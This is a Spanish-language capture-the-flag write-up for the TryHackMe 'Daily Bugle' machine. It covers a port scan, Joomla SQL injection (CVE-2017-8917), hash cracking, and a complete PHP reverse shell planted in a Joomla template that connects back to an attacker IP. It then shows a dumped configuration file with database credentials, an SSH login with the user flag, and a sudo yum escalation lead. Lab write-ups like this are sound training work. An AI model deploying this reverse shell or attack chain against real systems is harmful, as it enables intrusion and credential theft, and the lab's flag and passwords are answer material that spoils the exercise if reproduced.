# Daily Bugle

Enumeramos servicios:

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp open  mysql   MariaDB (unauthorized)

```

Buscamos directorios:

```
dirsearch -u http://10.10.136.55/ 
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FYeA54OOTlJOeQjnI9l5I%2Fimage.png?alt=media&#x26;token=f3e7fcdd-cb73-42a0-9fd6-01f1b0a09301" alt=""><figcaption><p>Se encontro un README</p></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FtbAa3zXhpSmuDc4mWyXp%2Fimage.png?alt=media&#x26;token=f615ecc3-48fa-4956-a8d5-b528b033b019" alt=""><figcaption></figcaption></figure>

Nos entrego la version y buscamos un exploit para ello:

Cuando realizamos una investigación rápida, vemos que existe una vulnerabilidad conocida llamada “Joomla! 3.7.0 — 'com\_fields' SQL Injection” que podemos usar para explotar con el número CVE “CVE-2017–8917”. Aquí, para que nuestro proceso sea mucho más fácil y rápido, revisé los exploits escritos para esta vulnerabilidad en Github y encontré el repositorio Exploit-Joomla de [stefanlucas](https://github.com/stefanlucas) que incluye un archivo de Python para explotar la vulnerabilidad. Lo descargué y ejecuté el exploit con los parámetros correctos para obtener información crítica de la base de datos del servidor.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FpKW16Xv8zc2wFf0iSZi6%2Fimage.png?alt=media&#x26;token=913b0bba-7a55-4ded-b613-612f795e033e" alt=""><figcaption></figcaption></figure>

¡Y obtuvimos la tabla “fb9j5\_users” y eliminamos un usuario de la tabla!

Aquí tenemos algunas credenciales importantes: un nombre de usuario, un correo electrónico y un valor hash para la contraseña.

Inserté el valor hash en un archivo llamado hash y usé a John the Ripper para descifrarlo comparándolo con los valores de una lista de palabras.

Usé rockyou.txt para una búsqueda más amplia para aumentar mi tasa de éxito.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FxpA6Lov2kVBLN60mcplp%2Fimage.png?alt=media&#x26;token=e05af542-14ec-47f1-a220-4e2c904cac5a" alt=""><figcaption></figcaption></figure>

Y ahí vamos, la contraseña de spiderman123 para el usuario Jonah.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FDFYmgtqGpRB4kOsVq6zj%2Fimage.png?alt=media&#x26;token=1fc64066-824b-43e9-b881-2f9dbdf152fe" alt=""><figcaption></figcaption></figure>

Ingresamos a templetes un codigo php malicioso para poder ingresar:

```
<?php
// Eliminar límites de tiempo
set_time_limit(0);
$VERSION = "1.0";

// Cambia la IP y el puerto a los valores adecuados
$ip = '10.9.0.60'; // Dirección IP del atacante
$port = 443; // Puerto que escuchará el atacante

// Tamaño del chunk para leer datos
$chunk_size = 1400;

// Inicialización
$write_a = null;
$error_a = null;

// Comando inicial
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

// Crea un socket
if (($sock = fsockopen($ip, $port)) !== false) {
    stream_set_blocking($sock, false);
    fwrite($sock, "Conexión establecida.\n");

    // Lanza un proceso interactivo
    $process = proc_open($shell, [
        0 => $sock,  // STDIN
        1 => $sock,  // STDOUT
        2 => $sock   // STDERR
    ], $pipes);

    while (1) {
        if (feof($sock)) {
            break;
        }
        usleep(100000); // Reducir uso de CPU
    }

    proc_close($process);
    fclose($sock);
}
?>

```

Ingresamos a la ruta y con nc a la escucha

```
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ whoami
whoami
apache
sh-4.2$ 
```

Podemos ejecutar limpeas

En linpeas se encontro;

```
sh-4.2$ cat /var/www/html/configuration.php
cat /var/www/html/configuration.php
<?php
class JConfig {
        public $offline = '0';
        public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
        public $display_offline_message = '1';
        public $offline_image = '';
        public $sitename = 'The Daily Bugle';
        public $editor = 'tinymce';
        public $captcha = '0';
        public $list_limit = '20';
        public $access = '1';
        public $debug = '0';
        public $debug_lang = '0';
        public $dbtype = 'mysqli';
        public $host = 'localhost';
        public $user = 'root';
        public $password = 'nv5uz9r3ZEDzVjNu';
        public $db = 'joomla';
        public $dbprefix = 'fb9j5_';
        public $live_site = '';
        public $secret = 'UAMBRWzHO3oFPmVC';
        public $gzip = '0';
        public $error_reporting = 'default';
        public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}';
        public $ftp_host = '127.0.0.1';
        public $ftp_port = '21';
        public $ftp_user = '';
        public $ftp_pass = '';
        public $ftp_root = '';
        public $ftp_enable = '0';
        public $offset = 'UTC';
        public $mailonline = '1';
        public $mailer = 'mail';
        public $mailfrom = 'jonah@tryhackme.com';
        public $fromname = 'The Daily Bugle';
        public $sendmail = '/usr/sbin/sendmail';
        public $smtpauth = '0';
        public $smtpuser = '';
        public $smtppass = '';
        public $smtphost = 'localhost';
        public $smtpsecure = 'none';
        public $smtpport = '25';
        public $caching = '0';
        public $cache_handler = 'file';
        public $cachetime = '15';
        public $cache_platformprefix = '0';
        public $MetaDesc = 'New York City tabloid newspaper';
        public $MetaKeys = '';
        public $MetaTitle = '1';
        public $MetaAuthor = '1';
        public $MetaVersion = '0';
        public $robots = '';
        public $sef = '1';
        public $sef_rewrite = '0';
        public $sef_suffix = '0';
        public $unicodeslugs = '0';
        public $feed_limit = '10';
        public $feed_email = 'none';
        public $log_path = '/var/www/html/administrator/logs';
        public $tmp_path = '/var/www/html/tmp';
        public $lifetime = '15';
        public $session_handler = 'database';
        public $shared_session = '0';
}sh-4.2$ 

```

Después de una verificación rápida del sistema y de observar los archivos del sitio web, encontramos un archivo de configuración que tenía las credenciales de una base de datos. El usuario root tenía la contraseña: **nv5uz9r3ZEDzVjNu.**

## Obtener acceso de usuario <a href="#id-4f5e" id="id-4f5e"></a>

Podemos usar esta contraseña para iniciar sesión en la máquina a través de SSH o desde la propia consola cambiar del usuario apache a jjameson.

```
┌──(docker㉿docker)-[~/Tryhackme/Exploit-Joomla]
└─$ ssh jjameson@10.10.136.55  
The authenticity of host '10.10.136.55 (10.10.136.55)' can't be established.
ED25519 key fingerprint is SHA256:Gvd5jH4bP7HwPyB+lGcqZ+NhGxa7MKX4wXeWBvcBbBY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.136.55' (ED25519) to the list of known hosts.
jjameson@10.10.136.55's password: 
Last login: Mon Dec 16 05:14:55 2019 from netwars
[jjameson@dailybugle ~]$ l               
-bash: l: command not found
[jjameson@dailybugle ~]$ ls
user.txt
[jjameson@dailybugle ~]$ cat user.txt 
27a260fe3cba712cfdedb1c86d80442e

```

Una vez adentro tendremos que escalar privilegios;

```
sudo -l
```

```
[jjameson@dailybugle ~]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
    env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
    USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
    LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum

```

Se puede ver un yum

{% embed url="<https://gtfobins.github.io/gtfobins/yum/#sudo>" %}
